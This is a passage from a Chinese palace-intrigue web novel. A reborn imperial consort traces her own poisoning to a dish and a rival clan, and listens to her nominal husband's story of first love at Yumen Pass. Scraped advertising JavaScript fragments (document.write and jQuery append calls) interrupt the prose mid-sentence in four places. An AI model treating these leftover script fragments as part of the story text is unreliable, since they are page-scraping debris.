御厨房的人见是皇后身边的大宫女亲自来安排这件事,自然十分巴结,又说是县主自己的侍女来看着火候,便多派了几个人辅助燃火填柴。此药需要大半个时辰,画扇哪里能耐的住这个性子,一见这外来的侍女已经被围住,料想不会乱跑,于是叮嘱了几句,便自行走开,去办正事。 薛灵儿松了口气,她的目的这便达到了。 先是与这几个人寒暄了几句,便打听起一个人来,是御厨房的一个厨娘。 三年前自己的死,明面上的那盘事情,薛灵儿早就已经通过县主打听了个清楚。 三年前的梧桐宫,薛贵妃在生辰宴上被毒杀,心尖上的宠妃被害死,皇帝自然雷霆大怒,令内务府彻查,务必查出凶手严办。 薛贵妃饮了一杯果子酒后,便在众目睽睽之下倒地身亡,一查这杯酒果然有毒,顺藤摸瓜,谁接近过这杯酒,接近过酒的人,谁与她有仇怨,几番盘问聆讯下来,金贵人供认不讳。 一年前薛贵妃罚跪,害她失去了胎儿又失去了皇宠,于是把所有过错都怪到了薛贵妃头上,日日夜夜只是想复仇。 但安国公府这棵大树,在朝堂的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弟子门生,盘根错节,谁人惹得起?入宫为嫔妃者,都有父母兄弟在朝为官,就算侥幸毒杀了仇人,父母兄弟的前途,家族的荣耀,还要不要了? 是以,薛贵妃在宫内,得罪的嫔妃虽多,却无人敢向她下手,这也让她,彻底失去了提防之心,金贵人带着蜡丸封的毒药,大摇大摆走进梧桐宫,大摇大摆往她酒里投了毒。 真是笑话,毒死那位赫赫扬扬、威风八面的薛贵妃,比毒死御花园里的一只鸟还容易。 丹阳县主探听到,这是内务府问话的时候,金贵人狂笑着嘶喊出来的话,她一边狂笑着,一边眼泪如泉水喷溅。 至于她为什么不惧怕连累父母家族?那是因为她恰好有个竹马,在锦衣卫做千户。第二日,安国公府要被深夜围堵屠杀满门,本来是个绝密计划,千户之职不配得知,但这竹马恰好看到了秘密文书,又知道金贵人的委屈,于是往皇宫递了一封密信。 金贵人被赐毒酒,竹马受了凌迟之刑,金贵人的家族也受牵累,父母兄弟被流放岭南,金贵人复仇是复仇了,可还是把家族搭了进去, 她低估了皇帝对薛贵妃的宠爱和重视。皇帝用行动证明,就算安国公府犯了谋反大罪,诛灭全族,薛贵妃还是不容冒犯。 在帝王之中,也算得情深义重的有情郎君了。 以上,都是明面上的事情。 但薛灵儿作为亲历者,死者本人,知道另有蹊跷。 首先她可以笃定,那杯酒无毒。 原因没别的,生前的她奢靡爱享受到了极处,杯中酒是她极为重视的爱物之一,成色不好,或者是倒入杯子的时间久了一些,她立刻便尝得出来,就要弃之不用。何况毒药下进酒里。 就算真如传说中存在无色无味的毒药,致人死命的烈性药物,口感涩感多少会有一些,怎么能逃得过薛贵妃经年享受挑剔的味觉? 那么毒药为什么又在酒里验出来了呢?原因很简单,薛贵妃死后,有人才把毒药放进酒杯,为的是让金贵人背下杀人的罪责。致死的毒不是金贵人放下的,但是她自己以为是。 这么费神的周密计划目的何在呢?这当然是比金贵人更贵重的人物,更接近权力中心,也更了解皇帝的心思,知道直接杀人者,父母家族都得搭上。十分了解嫔妃之间的恩怨,知道金贵人的仇恨与偏执,十分适合被利用。 薛灵儿自从重生之后,日日夜夜,复盘自己在生日当天食用和饮用过的所有东西,她所有的爱物,都不容易动手脚,因为那都是她熟悉的味道,唯有一碗长寿面,她吃的时候,就觉得有股不易察觉的清苦之味,面有微苦,但汤又不苦,这就排除了半路被下毒的可能。 当天宴席上,她左近的食物都是梧桐宫的小厨房所做,只有这碗长寿面是皇后亲赐,来自御厨房。下毒的人怕不稳妥,没有把毒下在汤里,而是和面的时候就加上了。 做这碗面的厨娘,就是薛灵儿今天要打听的人。 22. 假白月光 三年后,死而复生的贵妃薛灵儿,一副侍女装扮,来打听一个厨娘,当年做一碗毒面条,杀了自己。 害死她的凶手不光谨慎,而且多疑,因为多疑,所以不会动这个厨娘,因为多疑,薛灵儿和丹阳县主不能派外人去追查这个厨娘,否则一定会被察觉,有人在查安国公府当年的事。 但是在一帮厨娘的闲聊之中插上几句,则无伤大雅,于是她问:“有一位齐娘子,怎么没见?” 一个厨娘不以为意:“姓齐的有好几个,哪个齐娘子?” 薛灵儿假作不经意:“我记得是操持得一手好面食,三年前随县主娘娘进宫,也是来煎药,跟她攀谈起来,原来我们是同乡呢,隔了几条街。” “你说的这个人我知道,被锦衣卫指挥使夫人要走了。说是做的面食实在可口,恰好有一次,周指挥使立了军功,特意恩赏家眷进宫领赏,跟皇后娘娘请的赏赐。”另一个厨娘想了一会儿,终于想起来了。 薛灵儿兴奋不已,只面上不露出来。 她全都猜对了。 真正的毒药和在面条里。 安国公府被屠杀满门,和薛贵妃被毒杀,是有预谋的同时进行。 她们如果动手追查宫人进出来去的案宗记录,第一时间就会被发现,锦衣卫的眼线本就无处不在,何况这事情本来就是锦衣卫一手操办的。 但锦衣卫指挥使,也只是别人手上的一把刀,他家没有嫔妃在后宫。策划下毒计划的,是非常熟悉后宫的人,只能是哪个嫔妃的家族。 薛灵儿假作无事,炖煮完汤药,回到坤宁宫奉上。 在回坤宁宫的路上,一座八角亭内有人登高远望,一眼瞥到了她。 皇帝沈清远,在御书房内批阅奏折甚久,身心疲累,看秋日清和,便出来信步一回,望一望远山,歇一歇双目。 却没想到,瞥见一个侍女,看服饰是哪个亲王府上打扮,可是脸容看上去却有异样的熟悉感。 像谁呢。沈清远努力地想了想。 想起来了,像宋汝璋新娶的夫人,前些日子进宫封诰命的那个女子。 一个痴傻的臣妻,怎会给他一个九五至尊,留下如此深刻的印象,大约是那日……坤宁宫的正殿内,斑驳的阳光和清新的草木香气中,那女子脸上一闪而过的熟悉笑容…… 沈清远忍不住一阵恍惚。 薛灵儿并不知道,皇帝的眼光在她身上停留了许久,只顾一路前行,把汤药奉上,由丹阳县主带着,一路顺顺利利的出宫。 二人下一步查探,又回到了指挥使周从深府上。第二日,二人便去周府拜访。 如今的县主和薛灵儿,与周府的女眷混得熟了,来了只是日常闲坐,品香,饮茶,赏花。 周夫人有一园子精心养护的花卉,四季都有珍稀异种可以赏玩,虽然不解为何丹阳县主对花道生出了兴趣,但总之是天上掉了馅饼,连带周夫人和小姐在京城交际圈的圈层提升了两级。 多来上那么几次,宾主都不拘束,周夫人有时候自去忙碌,留下二小姐周宜娘陪贵客,宋夫人薛氏和这二小姐,虽然一个是新妇,一个是未嫁女,但年龄相仿,二人经常嬉笑打闹,异常亲密。 这日,二人又追逐嬉笑过一轮,各自在歇息喘气,丹阳县主在旁闲闲问道:“本宫昨日去见皇后娘娘,说起宫内面点,有一次异常合乎口味,再一问,说那位厨娘到了尊府上。令尊大人这尊荣宠爱,可当真是非同一般啊。” 这话人人爱听,周宜娘也笑得合不拢嘴:“娘娘说的这事,好像是几年前了呢。” 薛灵儿拍着手帮腔:“什么东西这么好吃,让她做点我尝尝。” 县主拍打她肩膀一下:“就属你嘴馋。” 周宜娘很遗憾扫了贵客的兴致:“可惜这厨娘不久就病死了。” 这是意料之中的事。心不狠手不辣,怎么做锦衣卫的头子。县主微笑转了话题:“宜娘该商议亲事了吧。” 周宜娘已经及笄,心里也知道这回事,但被人当面提起,还是害羞不已:“娘娘再取笑我,我就不陪你们玩了。” 县主这才提到正题:“害羞什么,你们家的小姐人才出众,满京城的儿郎都要上门呢,就说三年前你姐姐,是不是方家和叶家,两家争的最厉害。” 这是薛灵儿事先安排好让县主套问的,方家是方淑妃家,叶家是叶嫔家,这两个嫔妃,当年与薛灵儿争得风头最劲,不亦乐乎。 两家都是高门显贵,但周宜娘还嫌不足:“其实还有李家,宁国公家。” 县主表现出微微诧异的样子:“哦?这我倒说漏了。” 周宜娘又显出几分遗憾之情:“李家行事低调,不似那两家张扬,不过李家公子的相貌风度,是最好的,门第也是最高,我姐姐也属意他,后来不知怎么,没成。” 薛灵儿的心,剧烈地跳了起来。 宁国公家,是李妃的母家,跟薛灵儿一样是武将之家,却并非靠数年军功起家的新贵,是真正的百年望族,周宜娘所说的“门第最高”,一点不虚。李妃李丽娘,虽然性子好胜些,爱与薛灵儿相争,但整个李氏家族,李家人,却都是有根基有底蕴的世家大族做派,并非趋炎附势随风倒的浅薄之辈。 她事先叮嘱县主,故意不提李家,就是要勾出周宜娘的炫耀之心,透露更多的细节。 公子相貌又好,门第又高,姑娘最属意的人。那么婚事为什么没成呢? 因为根本就是一个假的求亲。 这件事为的是,临时把毫无交集的宁国公和周指挥使拉在一起,二人凑在一起的时候,旁人不会起疑心。 旁的不说,那李公子自幼随太子读书,出入皇家禁苑,教养得丰神如玉,多少世家贵女、名门淑媛,攀他还攀不上,怎么可能跟锦衣卫头子的女儿求亲? 薛灵儿对于安国公李世雄,可以说非常熟悉,盖因为,李世雄是她父亲安国公手下带兵打仗十年之久,因为李世雄一直没带家眷,薛灵儿跟李丽娘不熟,入宫之后也合不来,但对于李世雄,那是从小跟在他身后,“李叔李叔”叫着的。 想到此处,她浑身的血都冲上了头顶。 这些日子以来,她猜疑这个猜疑那个,万万想不到,对她和安国公下死手的,是李世雄和李氏家族。 百年望族,树大根深,这就很麻烦了。 计划周密又狠毒,也的确应该是文臣武将俱全的李氏风格,绝非李丽娘那个浆糊脑子一人想得出来。。 薛灵儿忽然坐不住,对着县主可怜巴巴说道:“县主,我突然觉得好冷。” 县主口内关切一句“别是着凉了吧”,起身对周宜娘告辞。 远远的,周夫人正在指挥管家备办好饭招待贵客,看到宋夫人薛氏脸色突变,二人起身告辞,心内忽然起了一点疑窦,颈后寒毛微微竖起。 待客人告辞后,周夫人实在忍不住,走上前来问女儿:“她们……都跟你聊了些什么?” 周宜娘脸现羞色:“聊了姐姐几年前议亲的事情。” 周夫人松了口气。几年前的事,大约没什么要紧的,她家主是专门替皇家做阴私活计的,若是有人打探眼前的事,可是不得不防。 周夫人的心思,马上转到眼前来:“议亲的事,若是县主娘娘能出面……” 县主携着薛灵儿的手登上马车,把帘子放下,方放开她的手。她的手冰凉,脸色苍白,娇柔肩膀瑟缩着,身子微微发颤。 县主把自己的斗篷披在她身上,替她拂去额间碎发:“这就叫画皮画虎难画骨,知人知面不知心。正经大事,是该搞明白,对付李氏这种百年望族,安国公还有没有什么故交可以拉拢依靠。” 薛灵儿思忖半晌,点了下头:“明日下午,我们去秦国公府。” 县主这么一安慰,薛灵儿缓过来不少,感觉身子变暖和了,轻轻答应一声,二人没再说话。 宋夫人薛氏,对于已故薛贵妃的遭遇越来越关情,县主并没有感到诧异。托梦一说,姑妄听之,托梦还是附体,都不重要,无论如何,能帮到她,最重要。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 次日下午,县主带着宋夫人薛氏,来访秦国公府。 人人都知道,最近丹阳县主专门结交武将刑名之家,这当然不是第一次来。安国公府这艘巨轮沉没之后,武将刑名之家,一个都没受牵累,反而在兵权和权位上,多多少少都沾了好处,也是朝堂巨变之中亘古未有的稀奇事。所以薛灵儿在一开始,完全无法锁定目标,只能是普遍撒网,先摸一遍再说。 迅速得势的,有李妃和叶嫔的母家,李妃的家族甚至迅速上升为武将之中第一世家。如今摸清楚了,果然,是饮了安国公府上百口人的鲜血,才得以上位。 想到李世雄和李氏家族,马车上的薛灵儿咬紧了牙关。如今三年过去,安国公府背负谋反大罪,亲友故交,都已凋零。有希望能争取过来,联手对付这个强敌的,只有眼下这个秦国公府。秦国公秦邦业,在玉门关的时候,就是她父亲薛怀义的副将了。 秦国公府,与宁国公府李家,并称为本朝百年望族的两大家族之一,祖上是读书发迹,秦国公秦邦业也是武将中不多见的儒将,安国公府一夕陨落,唯有秦国公府,没有凑上前去捞取什么好处。 不忍在昔日上司的尸体上喝血食肉,这也正是百年家风,儒将气度,叫人不得不说心生佩服。 薛灵儿前几次来到秦府,因是父亲的部属故交,少年时候比邻而居,早就生出了半个母家的亲近感,如今再一想到他能念旧日情分,忍不住更生一份孺慕之情,胸口一阵酸涩上涌,眼眶半湿。 正情绪上涌,无法自持,马车停下,听身畔的丹阳县主轻轻咳嗽了一声,明白她是提醒自己,赶忙收回心神,跟在县主身后下了马车,专注留神眼前情景,疏散情绪。 眼前这百年不倒的世家府邸,南海阴沉木的高敞大门贵重威严,门口两个巨大的石狮子,栩栩如生的雕工与气势,安国公府也要逊色几分。 走入大门,便路过花园的院墙,只见里头林木高耸入云,郁郁葱葱之势透出墙外,这秦府花园虽占地比不上御花园,论气势已经有五分像了。想到安国公府拜李世雄所赐,如今是一片焦土,薛灵儿情绪再次翻涌。 用尽全身之力,控制了上涌的情绪,薛灵儿对着此间的主人,露出开心的笑容。 迎上来的,是秦府三小姐秦若雪。 秦府有三位嫡出小姐,大小姐秦若月,比薛灵儿还大上两岁,如今是宫里位高权重的秦贵妃。 薛灵儿跟这位大姐姐同时入宫,虽然二人有皇宠之争,但因为秦若月为人处事娴雅合度,处处周全,又有少年时候比邻而居的情分,在后宫的明刀暗箭中,也是薛灵儿一个可以不设防的依靠。 二小姐秦若晴,比薛灵儿小上四五岁,上次来的时候听说,出阁之后竟然一病夭亡,可惜了如花的年纪。 三小姐秦若雪,比薛灵儿小了七八岁,当时在边关的时候,头上梳着歪桃辫子追着薛灵儿,姐姐、姐姐的叫个不停。如今薛灵儿坟前草木已拱,她倒是长成了亭亭玉立的二八少女,正和宋夫人薛灵燕、指挥使千金周宜娘,是年纪相仿。 如今对故人有了新的认识,薛灵儿留神打量起秦若雪,却也不得不服,不愧是百年世家,书香门第,无论公子小姐,秦家儿女都自有一股腹有诗书气自华的气度。 拿眼前的秦若雪来说,论样貌和周宜娘也就相仿佛,二人都是二八少女红粉绯绯,娇艳似海棠,可比起周宜娘,举手投足间,身姿仪态硬是多出来一股兰心蕙质的气质,这便多了一份优雅韵味,如同一幅画一般耐看,令人观之不足。 打量之中,薛灵儿心中遗憾,可惜那位二小姐秦若晴,长成之后是什么样子,无缘得见了…… 忽然一个念头一转。“嫁人不久,一病夭亡……” 宋大人那心上的白月光似乎也是这样。 前世他那么起劲儿的与自己作对,弹劾梧桐宫……秦贵妃固然低调大度,不那么介意被梧桐宫压制之苦,但姐妹连心,会不会是秦若晴为了帮长姐秦贵妃出气,而授意他所做,就像金贵人那个竹马一样? 23. 佳人 之前的时候,薛灵儿也曾反复思量过,不得其解。像宋汝璋这么个人,清心寡欲,古板冷情,究竟是个什么样的女子,能走进他的心里,被放在心尖上。 这么多年过去,佳人别有怀抱,又不幸离世,他都不曾放下,甚至为此,不惜终身不娶。 究竟是个什么样的女子呢。 如今仔细一打量秦若雪,薛灵儿忽然来了灵感。 宋汝璋这样的人,自幼在诗书文章里泡到如今,怕是秦家女这种诗礼传家百年世族养出来的温雅书卷气,才能当得他的意。 这个念头一升上来,薛灵儿忽然找到了打败宋大人的方法。 这两天早上,也不知道他发什么神经,明知道自己不愿意服侍他更衣,偏要勉强她,每次搞得她一身汗,这还不说,还要平白无故按住她的手,盘问她,吓唬她……这回,让他等着吧,哼。 念及此处,薛灵儿亲亲热热,携住了秦若雪的衣袖,一起走进待客的厅堂,宾主坐定,饮完一杯宫内赏下来的明前芽尖,薛灵儿假作无意问道:“墙上这《寒梅图》画轴是谁所做,笔法得了仇十洲的三分意蕴,唯独用笔显柔弱,像是闺秀的笔法,莫非是三小姐你的大作?” 秦若雪一听,忍不住吃惊,都说宋大人新娶的薛氏是个痴傻姑娘,这才短短的几天啊,非但交际之中与人对答入流,完全看不出破绽,今日连鉴赏起画作来,都能头头是道。难怪那个宋大人虽然为人古怪刻板,但却被世家贵女争抢,连公主都苦恋经年,真有这样点石成金的本事吗? 想到此处,秦若雪打趣道:“宋夫人真是好眼力,不过我可没这么大的本事,这画是我二姐所作。论起宋夫人这眼力,闺秀当中也算难得的了,听闻宋大人掌管翰林院,是天下闻名的第一才子,莫非是宋大人手把手教的?” 本来宋汝璋与薛灵儿只是挂名,各自遮掩一些苦衷,并无夫妻之实,可薛灵儿也不知怎么,脸颊就发烧飞了红霞,忸怩说道:“三小姐快别胡说了,我与宋大人也就早晚能朝一面,是县主娘娘教我的。” 秦若雪看得诧异,宋夫人明明已经嫁为人妇,怎么提起自家夫君来,比个未嫁的小姑娘还羞涩。 丹阳县主则安之若素背了这一口天上飞来的锅,为薛灵儿背锅,早就习惯了,她只是纳罕,明明薛氏与宋汝璋并未圆房的假夫妻,怎么好似十分有情的模样? 正在思忖,恰好秦夫人遣了丫鬟来请县主,县主跟着丫鬟走开了,剩下薛灵儿和秦若雪单独相对。 薛灵儿自觉脸上发烧不退,赶紧转个话题,高谈阔论讲起旁边一幅画轴:“论起这一幅,画中佳人虽然只是个背影,仪态气韵浑然天成,我只看不出是临摹哪家的设色与技法。” 秦若雪眼神中现出几分自豪神色,微笑道:“是二姐的自画像,当年跟我提及的时候,只说是自己胡乱画的。” “那就更加了不起了。”薛灵儿作出凑巧得知的意外惊喜神色,实则是她早打听出来秦若晴擅画,故意把话题引到秦若晴身上。 慢慢饮下了一口茶,才把话引到正题:“二小姐她这么擅画,想必诗文也不差,身段样貌又这么好,当时求亲的世家公子想必踏破了门槛,也不知二小姐属意为谁,哪家儿郎这么有福气。” 秦若雪本来兴致盎然,此时却把脸转向窗外,望那半黄的垂柳半晌,方转过头来笑道:“逝去之人,徒增伤感,不提了,二位来得正好,家兄新得了一块玉璧,被我硬讨了来,要请宋夫人赏玩。” 薛灵儿虽然懊悔自己话题太急,让对方失了兴致,倒也看出一点怪异之处。 秦若雪回避了这个话题,莫非说,秦若晴并没有属意于世家公子未婚夫,而是在出嫁之前另有别情? 薛灵儿好热闹的八卦之心顿起,恨不得立刻飞到宋汝璋身边,提到秦若晴其人,看看他那张古板面孔上,是何等精彩神色。 于是今日回到宋府之后,灵犀阁的晚饭,薛灵儿格外的盼望。 先是秋香,后是流云,都发现今晚的少夫人,不太对劲。 以往她从外头交际回来,已经疲累不堪,对于灵犀阁的这顿晚饭,可以说是懒懒散散,只是露个面,点个卯,别说提前安排菜谱,张罗摆饭,更别说伺候夫君递茶递汤,就是让她只是坐在那里吃现成的,她也是东歪西倒,哈欠连天。 据流云秋香看起来,如同那做工最懒散的奴仆下人差不多,也就是宋大人纵着她,这要是落到宋管家手里,早就被扣了工钱开革出府了。 基于以往的这些表现,今日的少夫人,提前半个时辰就来到了灵犀阁,精神奕奕过问菜谱,张罗摆饭,等饭菜汤羹一律摆好,快到宋大人办差回来的时分,又屡屡的往水榭门口张望,简直可以说望眼欲穿。 流云和秋香对视一眼,双方达成无言的默契,等大人一进屋,他们二人就躲出去,只留两个主子单独相处。 故此当宋汝璋一进灵犀阁的门,看到薛灵儿闪闪发亮的猫儿眼,分外热情的笑容,古井无波的心里忍不住就是一颤,不知她准备了什么古怪招数对付自己。 等到除下官服,换上家常宽松的月白长袍,净了手,坐在餐桌边准备吃饭的时候,就见流云神色鬼祟,唤了秋香一句:“秋香姐,你我二人去小厨房凑个热闹用饭如何?” 宋汝璋讶异,这二人是长房主子的贴身侍从,什么时候能跟其他二等奴仆一起用饭了? 但那秋香居然毫无难色,脆生生地答应下来,跟着流云身后一阵风似的走了,连侍奉主子用饭的活计,也是不顾了。 眼瞧着薛灵儿不以为忤,一双猫儿眼越发闪闪发亮,宋汝璋越发觉得,今日主仆几人一定是布下了什么陷阱在前方等着他,后背寒毛微竖,生出了毛骨悚然之感。 薛灵儿一见两个奴仆神色诡异地躲了出去,并没想透二人是为什么,只觉得这倒也好,与宋大人说话更加方便,好容易等到这人坐到餐桌前,先递上木质包银的筷子,又往五彩成窑小碗里,盛了碗三鲜瑶柱汤凉着,然后双眼盈盈,注视了宋大人。 宋汝璋心里越加发毛,常言说,无事献殷勤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,非奸即盗,何况薛灵燕这样的惫懒之人,突然这么殷勤,更加不会有好事,也不想再打哑谜,喝了一口汤,开口问道:“说吧,想干什么。” 薛灵儿突然被戳穿,没有像以往那样羞恼,反倒莞尔一笑:“大人,今日我随丹阳县主去了一个显赫世家做客。” 宋汝璋淡淡一笑:“你不是每日都去显赫世家做客吗,有什么好稀奇的。今日去的是哪家?” 他本不感兴趣,只是不忍扫她的兴致,勉强捧个场,谁知对面的小姑娘鬼头鬼脑地笑一下,不肯回答,转了几下眼珠,问道:“还没问过,大人少年时候是在哪里长大的。” 问完这话,薛灵儿自己也觉得有些羞愧,过意不去,出门交际办母家申冤的事,打的旗号是二品官员宋汝璋夫人,结果连人家的老家在哪里,都没有问过。 宋汝璋觉得今日的话题统统的没头没脑,却也据实答道:“西北边陲,玉门关,有句唐诗你总该听说过吧,春风不度玉门关,就是那里。” 薛灵儿露出喜出望外的神色,她真的猜对了,仍旧继续追问道:“是哪一年?” 宋汝璋更加诧异,这怎么透着个监察司查案的架势,仍旧耐着性子想了想:“我自幼在那里出生,一直到来京城科考,中了状元,母亲才决定举家搬迁到京城,后来族人也逐渐投奔了来。” 宋汝璋中状元,是五年前。薛灵儿内心盘算着时间,越算越对,仍旧追问不休:“大人的家是住在哪里?玉门关说小也不小,有当地百姓,有异族人,还有朝廷的军队,林林总总,绵延上百里呢。” 宋汝璋想起少年的往事,忍不住露一个微笑:“我家恰好住在玉门关的关口处,每日在学堂里,就能听见行商的骆驼队,驼铃声声响起。” 薛灵儿忍不住兴奋的一拍桌子:“那就对了!”桌上的汤碗被震动,汤羹都洒出了些许。 宋汝璋觉得今日实在奇怪,忍不住问:“你怎么对玉门关这么清楚?你去过?” 薛灵儿少年时候确实在玉门关长大,与秦家比邻而居,但如今她死去了一回又重生,如何能承认这些往事,忍不住叹息一声,声音低沉下来:“我……我没去过,是听县主娘娘她们说的。” 县主这个万金油,又被拿出来用了一次。宋汝璋瞟了她一眼,却误解了她的黯然神情,以为她在如今的高官夫人贵女中,觉出自己见识短浅,生了自惭形秽之心,于是温声安慰道:“不要紧,日后有机会,我带着你出京,见见世面。” 宋汝璋冷面孔下的好心肠,每次都能精准击中薛灵儿的心,本来还想拿白月光的事,好好的嘲讽拿捏他一番,报复他早上为难自己服侍他更衣,如今这报复心,消减了至少一半。 她眨巴着大眼睛,也把声音放柔软了,问道:“大人年少的时候,心上是不是有个……姑娘?” 谁知宋汝璋瞬间绷紧了背脊,声音转厉:“这事……你是怎么知道的?” 薛灵儿有点瑟缩,瞧着他寒凛凛的眼神瞬间结冰,活像被人踏入领地的丛林猛兽一样。 24. 嗑cp 一看宋大人本就寒凛凛的眼神瞬间结冰,一个文质彬彬的书生文臣,身上几乎冒出了杀气,这股杀气对于武将之家出身的薛灵儿来说,相当熟悉。 她立刻决定,说实话。 于是作出几分真情实感又恰到好处的害怕样子:“大人你别这样,我害怕,我也不是故意要偷听的,就是那天送饭到祠堂,听到你跟婆婆正在说话,我没敢进去打扰,就站在门口听了一会儿。” 薛灵儿见宋汝璋绷紧的背脊稍稍松驰了一些,脸色却还迟疑未决,加紧表一轮决心:“大人,我保证对谁都不说。何况你说的究竟是谁,我也根本不知道,不认识。” 宋汝璋仔细想一下那天和母亲的对话,不光没有提名道姓,几乎是什么都没有说,于是舒一口气,脸色慢慢和缓下来:“你今天装神弄鬼的,就是为这件事?” 薛灵儿一见这么轻松过关,这宋大人还真是宠自己,隐隐找到了当年跟父亲安国公相处的感觉,于是扬起笑脸,真心实意说道:“大人这么好的人,我实在忍不住要猜是什么样的姑娘,就比如今天去的那家,姑娘就很不错。” 宋汝璋哑然失笑,决定纵着她随意猜去,反正猜不中就是了,又问道:“究竟是哪家的姑娘,说来听听,有这么好吗?” 如果他爱答不理的,薛灵儿说不定要抢着告诉他,可是一听他真的感了兴趣,那可必须要卖这个关子,坚决不能透露,于是神秘的一笑:“你先告诉我,你和秦……和那个姑娘,是怎么认识的。” 怎么认识的。 宋汝璋原本波澜不兴的表情,好像腾起了一点浪花,眼神也如同正午的太阳晒到了冰川上,瞬间有了温度。 沉默半晌,他开口说道:“那一年,我正坐在学堂里读书。” 他一边对薛灵儿讲述着,一边情不自禁地,全身心地沉入了自己的回忆之河。 那里充满了气泡一般细腻丰盈的喜悦,日出一样通天彻地的光辉。 …… “羌笛何须怨杨柳,春风不度玉门关。” 年少的宋汝璋坐在书堂里,跟着少年郎们一起拖长了腔调,眼神却随着窗外的一只灵燕,飘忽了一瞬。 他立刻觉察到了,赶忙正了正脸色,知道寡母教养不易,平日他总是绷着一根弦,读书从来不曾有半分松懈,今日却不知怎么,有些恍惚,或许是,关内新近吹来的春风,太过柔软了。 “去年今日此门中,人面桃花相映红。” 随着少年郎们刻意拖长的声腔,今日分外柔软的春风,吹动了宋汝璋鬓边一缕发丝,发丝拂到面颊,如同一只小手,挠到他心坎上微微的发痒,一丝烦乱之中,忍不住对诗中的旖丽情景,试图生发一种想象。 却如同一张无从下笔的画。 塞北从来不生长桃花。 太过严酷恶劣的风土,更适合朴质无华的杂草。 外头远远的,传来一阵清脆的驼铃声响。这也习以为常,没什么的,在关内关外之间奔走行商的旅人,会带着满身的黄沙与疲惫,也会带来对于关外来说昂贵稀缺的江南物产。 茶叶、丝绸、瓷器,娇贵而奢侈,都非宋汝璋这种寒门的少年所能肖想。 可是随着驼铃的脆响越来越近,突然传来了一阵少女欢悦的笑声,声音比骆驼身上的银铃还要清脆。 西北民风野性彪悍,女子们的行止也没中原那么多规矩束缚,少女们无忧无虑,开怀大笑,也不是什么稀罕事。 可是今天这远远传来的银铃般的笑声,好像有什么地方,有点不一样。 经过几番克制,宋汝璋终究还是没忍住心坎上的一点小刺痒,转头向了窗外,望那骆驼队里看了过去。 这远远望去的一眼,改变了他的一生。 他看见了桃花。 桃花如同火焰一般,灼灼绽放在了塞外。 …… 薛灵儿听完这一段,看他歇了气,忙不迭地问:“大人,你们多久说的第一句话?” 她天生性子急,就算看戏文话本子,往往也耐不住性子,恨不得手动拉进度,按头入洞房。 宋汝璋认真一想:“在玉门关的时候,没说过一句话。” 薛灵儿听愣了。这不和柳梦梅杜丽娘差不多吗,连话都没说过一句,就死去活来了? 内心忍不住就冒出了一连串气泡似的涟漪,是珍珠的光泽,蜜糖的味道。 她做梦也想不到,宋大人这么刚硬古板的男子,嘴里心里,还能有这么柔软的文辞,这么多情的腔调。 这人,读圣贤书做八股文,完完全全的一个浪费材料,正应该去写戏文话本子才对。 薛灵儿前世就喜好个听戏看话本子,爱热闹爱八卦,早知道前世做贵妃的时候,就该把这个翰林院编修抓来,好好的给梧桐宫写上几出戏文话本子。 刚才这一段,据她听起来,比汤显祖写那柳梦梅杜丽娘的故事还带劲呢。 要说起来,她原来还存了五分心思,要拿白月光的事整治宋大人,复复仇出出气,现在连一分心思都飞到了九霄云外。 她只想把这个故事好好听下去, 可惜,宋大人大概是办差太累了,讲了一段之后,宽大手掌托住了额头,遮住了头脸,薛灵儿适时递了一杯热茶,一看太阳已经完全落山,又去关了水榭的窗子,点燃了桌上的蜡烛,然后坐回到餐桌边,热切期盼着宋大人打起精神继续。 谁知宋大人喝了几口热茶之后,精神是缓过来了,眼神一恢复清明理性,话匣子立刻关闭了。 薛灵儿后悔不迭,不应该给他递茶,应该给他倒酒,然而后悔也来不及,只能明天再想法续上。 于是继续装乖献殷勤,给宋大人盛汤布菜,宋大人一看她双眼亮闪闪,就知道她又没好事,果然半晌过后她开了口:“大人,我明天还来吃饭……不,以后天天来。” 宋汝璋倒吸一口凉气。 明天是衙门里休沐的日子,本来说好了,休沐的日子,名义夫妻也要各自休沐两天的。 这不等于全面入侵了吗。 宋汝璋本来犹豫未决,可是一看对面小姑娘充满希冀的眼神,拒绝的话就是说不出口。 不就是讲讲故事吗。 况且,这份浓烈情愫多年以来,只能在独自一人的时候,无人的黑暗中,放任它出来翻涌,发酵,今日意外打开心扉,打开话匣子,在一个让他可以信赖不设防的天真小姑娘面前,也的确是获 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得了一种异样的松快感。 思及此,宋汝璋轻轻咳嗽一声,痛快地答应:“行,你以后天天来吃饭。” 流云和秋香,在小厨房跟二等奴仆们早早扒拉完饭,就站到了水榭外边,一边看着两个主子谈谈讲讲,一边他们自己兴奋地谈谈讲讲。 眼看两个人连饭都顾不上吃,都掌灯了还在说,两个人在外站得腿酸,加上蚊虫叮咬,实在耐受不住,硬闯进了水榭,正在担忧破坏两个主子间的气氛,谁知道正听见宋大人掷地有声地说,请夫人以后天天来吃饭。 二人忍不住相视一笑,内心都跟着喝了蜜似的甜到了心口,这一晚上的罪,可真没白遭。 灵犀阁里头一天晚上发生的事,也不知道是哪个奴仆多嘴传出去的,总之第二天一早,就到了掌家夫人苏玉茹的耳朵里。 “……府里头这些日子都传遍了,说长房这二位怕是前世的缘分,长房少夫人是个大大的福星,居然打动了咱们家主,明明老大不小的了,硬是对一个傻姑娘动了真情,老树开了新花。” 这话其实是下人刻薄了,宋大人虽说成亲时候年龄大了些,究竟也才三十来岁,怎么就老树开新花了,但合了苏玉茹的心,忍不住唇边就是一个笑意。 “我看传来传去,连老夫人那样刚硬心肠的人,都有些信了,怕是真要拿她当成个福星对待呢。” 贴身大丫鬟彩蝶把听来的闲言闲语一口气说完,退在一边泡一壶新茶。 苏玉茹正在往指甲上涂抹凤仙花汁,这句话听完就不舒服了,恼的把手往桌面一嗑,一根指甲都折弯了,索性让彩蝶剪了它。心头之恨还是没消,又恨声骂一句。 “什么痴傻!据我看是装傻,扮猪吃老虎,明明就是一个勾引男人的狐狸精!” 彩蝶这时候哪能不给主子接话凑趣:“咳,男人还不就那么回事,专门吃这一套,女人一装纯,装柔弱,他们才觉得自己是个男子汉了,还有个不上当的?” 